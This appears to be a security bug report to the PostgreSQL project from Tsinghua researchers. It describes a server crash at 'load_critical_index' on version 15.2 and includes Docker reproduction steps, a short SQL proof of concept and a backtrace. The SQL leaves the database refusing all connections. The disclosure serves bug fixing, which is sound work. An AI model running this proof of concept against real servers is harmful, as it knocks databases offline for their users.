3. PostgreSQL Server Subprocess Went down at function 'load_critical_index' and the Client Cannot Connect to the Database

Description: PostgreSQL Server Subprocess Went down at function
'load_critical_index' and the Client Cannot Connect to the Database

PostgreSQL Server Version: PostgreSQL 15.2 on x86_64-pc-linux-gnu, compiled
by Ubuntu clang version 12.0.1, 64-bit

Discoverer: Jingzhou Fu, Jie Liang and Zhiyong Wu in WingTecher Lab of
Tsinghua University and Shuimuyulin ltd

Email address: fjz22(at)mails(dot)tsinghua(dot)edu(dot)cn , wuzy21(at)mails(dot)tsinghua(dot)edu(dot)cn
, ljiee(at)mail(dot)tsinghua(dot)edu(dot)cn

Way to Reproduce with Docker (write the poc content into file PoC.sql):

```bash

Way to Reproduce (copy the poc into file PoC.sql):

docker container rm some-postgres -f

docker run --name some-postgres -p 5432:5432 -e
POSTGRES_PASSWORD=mysecretpassword -d postgres:15.2

# wait the server start .

docker exec -i some-postgres psql --user=postgres < PoC.sql

docker exec -it some-postgres psql --user=postgres

# psql: error: connection to server on socket
"/var/run/postgresql/.s.PGSQL.5432" failed: PANIC: could not open critical
system index 2662

```

PoC:

```sql

CREATE VIEW col AS SELECT * FROM pg_catalog.pg_class;

CREATE ROLE regress_execute_server_program IN ROLE
pg_execute_server_program;

ALTER TABLE col ALTER COLUMN b DROP DEFAULT,

ALTER COLUMN y

SET DEFAULT ('{"This", "is", "' || foo(1) ||

'", "fantasy"}')::text[];

DELETE FROM col;

```

Backtrace:

```

#0 0x7f0e17e9400b (gsignal+0xcb)

#1 0x7f0e17e73859 (abort+0x12b)

#2 0x1c9fd9e (errfinish+0xe0e)

#3 0x1c69820 (load_critical_index+0xc0)

#4 0x1c689bb (RelationCacheInitializePhase3+0x2eb)

#5 0x1ce8270 (InitPostgres+0x1e70)

#6 0x16e69b8 (PostgresMain+0x478)

#7 0x144c17b (BackendRun+0xbb)

#8 0x144ad85 (BackendStartup+0x525)

#9 0x14481e6 (ServerLoop+0x616)

#10 0x1443e0f (PostmasterMain+0x30cf)

#11 0x106ebf2 (main+0x5a2)

#12 0x7f0e17e75083 (__libc_start_main+0xf3)

#13 0x49fc0e (_start+0x2e)

```